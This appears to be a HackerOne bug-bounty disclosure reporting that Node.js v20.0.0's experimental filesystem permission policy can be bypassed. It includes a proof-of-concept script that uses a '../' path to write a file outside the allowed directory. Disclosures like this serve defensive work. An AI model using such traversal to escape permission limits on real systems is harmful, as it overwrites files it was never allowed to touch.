Lucene search

K
hackeroneHaxatron1H1:1952978
HistoryApr 18, 2023 - 6:34 p.m.

Node.js: Filesystem experimental permissions policy does not handle path traversal cases.

2023-04-1818:34:13
haxatron1
hackerone.com
10
node.js
filesystem
permissions
path traversal
node v20.0.0
bug bounty

0 Low

EPSS

Percentile

0.0%

Consider the following command on Node v20.0.0:

node --experimental-permission --allow-fs-read=* --allow-fs-write=/home/kali/restricted/ poc.js

This command is intended to restrict write access to only files present in the directory /home/kali/restricted

However if we have the following poc.js:

const fs = module.require('fs')
fs.writeFileSync("/home/kali/restricted/../secret.txt", "Target Overwritten!")

This apparently matches the directory /home/kali/restricted/ directory check and then writes to /home/kali/secret.txt (by using …/), which is not intended, bypassing the experimental permission policy for files.

Impact

Path traversal when checking experimental file permission policy